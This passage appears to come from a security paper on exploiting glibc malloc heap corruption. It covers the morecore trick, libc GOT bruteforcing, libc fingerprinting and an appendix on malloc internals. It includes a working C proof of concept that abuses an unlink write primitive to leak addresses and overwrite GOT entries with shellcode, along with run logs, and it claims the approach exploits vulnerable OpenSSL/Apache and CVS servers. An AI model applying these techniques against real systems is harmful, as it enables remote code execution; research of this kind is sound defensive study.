one try is enough to exploit the process. On the other hand, this technique is not longer useful in newer libcs, i.e. 2.2.93, a for the changed suffered by malloc code. A new approach is suggested later to help in exploitation of these libc versions. Morecore idea was successfully tested on different glibc versions and Linux distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so). Exploit code using this trick is able to exploit the vulnerable OpenSSL/Apache servers without any hardcoded addresses in at least the above mentioned default distributions. --] 4.5.3 Libc's GOT bruteforcing In case the morecore trick doesn't work (we can try, as just requires one try), meaning probably that our target is using a newer libc, we still have the obtained glibc's bin address. We know that above that address is going to be located the glibc's GOT. We just need to bruteforce upwards until hitting any entry of a going to be called libc function. This bruteforce mechanism may take a while, but not more time that should be needed to bruteforce the main object's GOT (in case we obtained its aproximate location some way). To speed up the process, the bruteforcing start point should be obtained by adjusting the retrieved bin address with a fixed value. This value should be enough to avoid corrupting the arena to prevent crashing the process. Also, the bruteforcing can be performed using a step size bigger than one. Using a higher step value will need a less tries, but may miss the GOT. The step size should be calculated considering the GOT size and the number of GOT entries accesses between each try (if a higher number of GOT entries are used, it's higher the probability of modifying an entry that's going to be accessed). After each try, it is important to force the server to perform as many actions as possible, in order to make it call lots of different libc calls so the probability of using the GOT entry that was overwritten is higher. Note the bruteforcing mechanism may crash the process in several ways, as it is corrupting libc data. As we obtained the address in runtime, we can be sure we are bruteforcing the right place, even if the target is randomizing the process/lib address space, and that we will end hitting some GOT entry. In a randomized load address scenario, we'll need to hit a GOT entry before the process crashes to exploit the obtained bin address if there is no relationship between the load addresses in the crashed process (the one we obtained the bin address from) and the new process handling our new requests (i.e. forked processes may inherit father's memory layout in some randomization implementations). However, the bruteforcing mechanism can take into account the already tried offsets once it has obtained the new bin address, as the relative offset between the bin and the GOT is constant. Moreover, this technique applies to any process linked to the glibc. Note that we could be able to exploit a server bruteforcing some specific function pointers (i.e. located in some structures such as network output buffers), but these approach is more generic. The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0, Redhat 7.2 and Redhat 7.1 default installations. Exploit code bruteforcing libc's GOT is able to exploit the vulnerable CVS servers without any hardcoded addresses in at least the above mentioned default distributions. --] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing The following code bruteforces itself. The process tries to find himself, to finally end in an useless endless loop. #include <stdio.h> #include <fcntl.h> #define ADJUST 0x200 #define STEP 0x2 #define LOOP_SC "\xeb\xfe" #define LOOP_SZ 2 #define SC_SZ 512 #define OUTPUT_SZ 64 * 1024 #define SOMEOFFSET(x) 11 + (rand() % ((x)-1-11)) #define SOMECHUNKSZ 32 + (rand() % 512) #define PREV_INUSE 1 #define IS_MMAP 2 #define NON_MAIN_ARENA 4 unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where,unsigned long sz){ unsigned long *unlinkMe; int i=0; if(sz<13) sz = 13; unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i<sz;i++) if(i%2) unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; else unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; free(unlinkMe+SOMEOFFSET(sz)); return unlinkMe; } /* just force some libc function calls between each bruteforcing iteration */ void do_little(void){ int w,r; char buf[256]; sleep(0); w = open("/dev/null",O_WRONLY); r = open("/dev/urandom",O_RDONLY); read(r,buf,sizeof(buf)); write(w,buf,sizeof(buf)); close(r); close(w); return; } int main(int argc, char **argv){ unsigned long *output,*bin=0; unsigned long i=0,sz; char *sc,*p; unsigned long *start=0; printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n"); sc = (char*) malloc(SC_SZ * LOOP_SZ); printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc); p = sc; for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ) memcpy(p,LOOP_SC,LOOP_SZ); printf("(-) forcing bin address disclosure... "); output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ); for(i=0;i<OUTPUT_SZ-1;i++) if(output[i] == output[i+1] && ((output[i] & 0xffff0000) != 0xffff0000) ) { bin = (unsigned long*)output[i]; printf("%p\n",bin); start = bin - ADJUST; } if(!bin){ printf("failed\n"); return 0; } if(argv[1]) i = strtoll(argv[1], (char **)NULL,0); else i = 0; printf("(-) starting libc GOT bruteforcing @ %p\n",start); for(;;i++){ sz = SOMECHUNKSZ; printf(" try #%.2d writing %p at %p using %6d bytes chunk\n", i,sc,start-(i*STEP),s*sizeof(unsigned long)); aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz); do_little(); } printf("I'm not here, this is not happening\n"); } Let's see what happens: $ ./got_bf ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #00 writing 0x8049cb0 at 0x4212a9dc using 1944 bytes chunk try #01 writing 0x8049cb0 at 0x4212a9d4 using 588 bytes chunk try #02 writing 0x8049cb0 at 0x4212a9cc using 1148 bytes chunk try #03 writing 0x8049cb0 at 0x4212a9c4 using 1072 bytes chunk try #04 writing 0x8049cb0 at 0x4212a9bc using 948 bytes chunk try #05 writing 0x8049cb0 at 0x4212a9b4 using 1836 bytes chunk ... try #140 writing 0x8049cb0 at 0x4212a57c using 1416 bytes chunk try #141 writing 0x8049cb0 at 0x4212a574 using 152 bytes chunk try #142 writing 0x8049cb0 at 0x4212a56c using 332 bytes chunk Segmentation fault We obtained 142 consecutive tries without crashing using random sized chunks. We run our code again, starting from try number 143 this time, note the program gets the base bruteforcing address again. $ ./got_bf 143 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #143 writing 0x8049cb0 at 0x4212a564 using 1944 bytes chunk try #144 writing 0x8049cb0 at 0x4212a55c using 588 bytes chunk try #145 writing 0x8049cb0 at 0x4212a554 using 1148 bytes chunk try #146 writing 0x8049cb0 at 0x4212a54c using 1072 bytes chunk try #147 writing 0x8049cb0 at 0x4212a544 using 948 bytes chunk try #148 writing 0x8049cb0 at 0x4212a53c using 1836 bytes chunk try #149 writing 0x8049cb0 at 0x4212a534 using 1132 bytes chunk try #150 writing 0x8049cb0 at 0x4212a52c using 1432 bytes chunk try #151 writing 0x8049cb0 at 0x4212a524 using 904 bytes chunk try #152 writing 0x8049cb0 at 0x4212a51c using 2144 bytes chunk try #153 writing 0x8049cb0 at 0x4212a514 using 2080 bytes chunk Segmentation fault It crashed much faster... probably we corrupted some libc data, or we have reached the GOT... $ ./got_bf 154 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #154 writing 0x8049cb0 at 0x4212a50c using 1944 bytes chunk Segmentation fault $ ./got_bf 155 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #155 writing 0x8049cb0 at 0x4212a504 using 1944 bytes chunk try #156 writing 0x8049cb0 at 0x4212a4fc using 588 bytes chunk try #157 writing 0x8049cb0 at 0x4212a4f4 using 1148 bytes chunk Segmentation fault $ ./got_bf 158 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #158 writing 0x8049cb0 at 0x4212a4ec using 1944 bytes chunk ... try #179 writing 0x8049cb0 at 0x4212a444 using 1244 bytes chunk Segmentation fault $ ./got_bf 180 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #180 writing 0x8049cb0 at 0x4212a43c using 1944 bytes chunk try #181 writing 0x8049cb0 at 0x4212a434 using 588 bytes chunk try #182 writing 0x8049cb0 at 0x4212a42c using 1148 bytes chunk try #183 writing 0x8049cb0 at 0x4212a424 using 1072 bytes chunk Segmentation fault $ ./got_bf 183 ## HINTED LIBC GOT BRUTEFORCING PoC ## (-) 512 bytes shellcode @ 0x8049cb0 (-) forcing bin address disclosure... 0x4212b1dc (-) starting libc GOT bruteforcing @ 0x4212a9dc try #183 writing 0x8049cb0 at 0x4212a424 using 1944 bytes chunk try #184 writing 0x8049cb0 at 0x4212a41c using 588 bytes chunk try #185 writing 0x8049cb0 at 0x4212a414 using 1148 bytes chunk try #186 writing 0x8049cb0 at 0x4212a40c using 1072 bytes chunk try #187 writing 0x8049cb0 at 0x4212a404 using 948 bytes chunk try #188 writing 0x8049cb0 at 0x4212a3fc using 1836 bytes chunk try #189 writing 0x8049cb0 at 0x4212a3f4 using 1132 bytes chunk try #190 writing 0x8049cb0 at 0x4212a3ec using 1432 bytes chunk Finally, the loop shellcode gets executed... 5 crashes were needed, stepping 8 bytes each time. Playing with the STEP and the ADJUST values and the do_little() function will yield different results. --] 4.5.4 Libc fingerprinting Having a bin address allows us to recognize the libc version being attacked. We just need to build a database with different libcs from different distributions to match the obtained bin address and bin number. Knowing exactly which is the libc the target process has loaded gives us the exact absolute address of any location within libc, such as: function pointers, internal structures, flags, etc. This information can be abused to build several attacks in different scenarios, i.e. knowing the location of functions and strings allows to easily craft return into libc attacks [14]. Besides, knowing the libc version enables us to know which Linux distribution is running the target host. These could allow further exploitation in case we are not able to exploit the bug (the one we are using to leak the bin address) to execute code. --] 4.5.5 Arena corruption (top, last remainder and bin modification) From the previously gathered main_arena address, we know the location of any bin, including the top chunk and the last reminder chunk. Corrupting any of this pointers will completely modify the allocator behavior. Right now, I don't have any code to confirm this, but there are lot of possibilities open for research here, as an attacker might be able to redirect a whole bin into his own supplied input. --------------------------------------------------------------------------- --] 4.6 Copying the shellcode 'by hand' Other trick that allows the attacker to know the exact location of the injected shellcode, is copying the shellcode to a fixed address using the aa4bmo primitive. As we can't write any value, using unaligned writes is needed to create the shellcode in memory, writting 1 or 2 bytes each time. We need to be able to copy the whole shellcode before the server crashes in order to use this technique. --------------------------------------------------------------------------- --] 5 Conclusions malloc based vulnerabilities provide a huge opportunity for fully automated exploitation. The ability to transform the aa4bmo primitive into memory leak primitives allows the attacker to exploit processes without any prior knowledge, even in presence of memory layout randomization schemes. [ Note by editors: It came to our attention that the described technique might not work for the glibc 2.3 serie. ] --------------------------------------------------------------------------- --] 6 Thanks I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano, kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon, module, ... Classifying you takes some time (some 'complex' ppl), so I'll just say thank you for encouraging me to write this article, sharing your ideas, letting me learn a lot from you every day, reviewing the article, implementing the morecore idea for first time, being my friends, asking for torta, not making torta, personal support, coding nights, drinking beer, ysm, roquefort pizza, teletubbie talking, making work very interesting, making the world a happy place to live, making people hate you because of the music... (you should know which applies for you, do not ask) --------------------------------------------------------------------------- --] 7 References [1] http://www.malloc.de/malloc/ptmalloc2.tar.gz ftp://g.oswego.edu/pub/misc/malloc.c [2] www.phrack.org/phrack/57/p57-0x08 Vudo - An object superstitiously believed to embody magical power Michel "MaXX" Kaempf [3] www.phrack.org/phrack/57/p57-0x09 Once upon a free() anonymous [4] http://www.phrack.org/show.php?p=59&a=7 Advances in format string exploitation gera and riq [5] http://www.coresecurity.com/common/showdoc.php? \ idx=359&idxseccion=13&idxmenu=32 About exploits writing gera [6] http://online.securityfocus.com/bid/5363 [7] http://security.e-matters.de/advisories/012003.txt [8] http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt JPEG COM Marker Processing Vulnerability in Netscape Browsers Solar Designer [9] http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html Local root exploit in LBNL traceroute Michel "MaXX" Kaempf [10] http://www.w00w00.org/files/articles/heaptut.txt w00w00 on Heap Overflows Matt Conover & w00w00 Security Team [11] http://www.phrack.org/show.php?p=49&a=14 Smashing The Stack For Fun And Profit Aleph One [12] http://phrack.org/show.php?p=55&a=8 The Frame Pointer Overwrite klog [13] http://www.phrack.org/show.php?p=59&a=9 Bypassing PaX ASLR protection p59_09@author.phrack.org [14] http://phrack.org/show.php?p=58&a=4 The advanced return-into-lib(c) exploits Nergal --------------------------------------------------------------------------- Appendix I - malloc internal structures overview This appendix contains a brief overview about some details of malloc inner workings we need to have in mind in order to fully understand most of the techniques explained in this paper. Free consolidated 'chunks' of memory are maintained mainly (forgetting the top chunk and the last_remainder chunk) in circular double-linked lists, which are initially empty and evolve with the heap layout. The circularity of these lists is very important for us, as we'll see later on. A 'bin' is a pair of pointers from where these lists hang. There exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big bins'. Small bins contain equally sized chunks, while big bins are composed of not the same size chunks, ordered by decreasing size. These are the macros used to index into bins depending of its size: #define MAX_SMALLBIN 63 #define MAX_SMALLBIN_SIZE 512 #define SMALLBIN_WIDTH 8 #define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3) #define bin_index(sz) \ (((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\ 126) From source documentation we know that 'an arena is a configuration of malloc_chunks together with an array of bins. One or more 'heaps' are associated with each arena, except for the 'main_arena', which is associated only with the 'main heap', i.e. the conventional free store obtained with calls to MORECORE()...', which is the one we are interested in. This is the way an arena looks like... typedef struct _arena { mbinptr av[2*NAV + 2]; struct _arena *next; size_t size; #if THREAD_STATS long stat_lock_direct, stat_lock_loop, stat_lock_wait; #endif 'av' is the array where bins are kept. These are the macros used along the source code to access the bins, we can see the first two bins are never indexed; they refer to the topmost chunk, the last_remainder chunk and a bitvector used to improve seek time, though this is not really important for us. /* bitvector of nonempty blocks */ #define binblocks(a) (bin_at(a,0)->size) /* The topmost chunk */ #define top(a) (bin_at(a,0)->fd) /* remainder from last split */ #define last_remainder(a) (bin_at(a,1)) #define bin_at(a, i) BOUNDED_1(_bin_at(a, i)) #define _bin_at(a, i) ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ)) Finally, the main_arena... #define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i) static arena main_arena = { { 0, 0, IAV(0), IAV(1), IAV(2), IAV(3), IAV(4), IAV(5), IAV(6), IAV(7), IAV(8), IAV(9), IAV(10), IAV(11), IAV(12), IAV(13), IAV(14), IAV(15), IAV(16), IAV(17), IAV(18), IAV(19), IAV(20), IAV(21), IAV(22), IAV(23), IAV(24), IAV(25), IAV(26), IAV(27), IAV(28), IAV(29), IAV(30), IAV(31), IAV(32), IAV(33), IAV(34), IAV(35), IAV(36), IAV(37), IAV(38), IAV(39), IAV(40), IAV(41), IAV(42), IAV(43), IAV(44), IAV(45), IAV(46), IAV(47), IAV(48), IAV(49), IAV(50), IAV(51), IAV(52), IAV(53), IAV(54), IAV(55), IAV(56), IAV(57), IAV(58), IAV(59), IAV(60), IAV(61), IAV(62), IAV(63), IAV(64), IAV(65), IAV(66), IAV(67), IAV(68), IAV(69), IAV(70), IAV(71), IAV(72), IAV(73), IAV(74), IAV(75), IAV(76), IAV(77), IAV(78), IAV(79), IAV(80), IAV(81), IAV(82), IAV(83), IAV(84), IAV(85), IAV(86), IAV(87), IAV(88), IAV(89), IAV(90), IAV(91), IAV(92), IAV(93), IAV(94), IAV(95), IAV(96), IAV(97), IAV(98), IAV(99), IAV(100), IAV(101), IAV(102), IAV(103), IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111), IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119), IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127) }, &main_arena, /* next */ 0, /* size */ #if THREAD_STATS 0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */ #endif MUTEX_INITIALIZER /* mutex */ }; The main_arena is the place where the allocator stores the 'bins' to which the free chunks are linked depending on they size. The little graph below resumes all the structures detailed before: <main_arena> @ libc's DATA [bin_n] (first chunk) ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd [ chunk ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk [bin_n+1] (last chunk) . . . [bin_X] ptr] ----> [<- fd [ lonely but interesting chunk ptr] ----> [<- bk . . |=[ EOF ]=---------------------------------------------------------------=|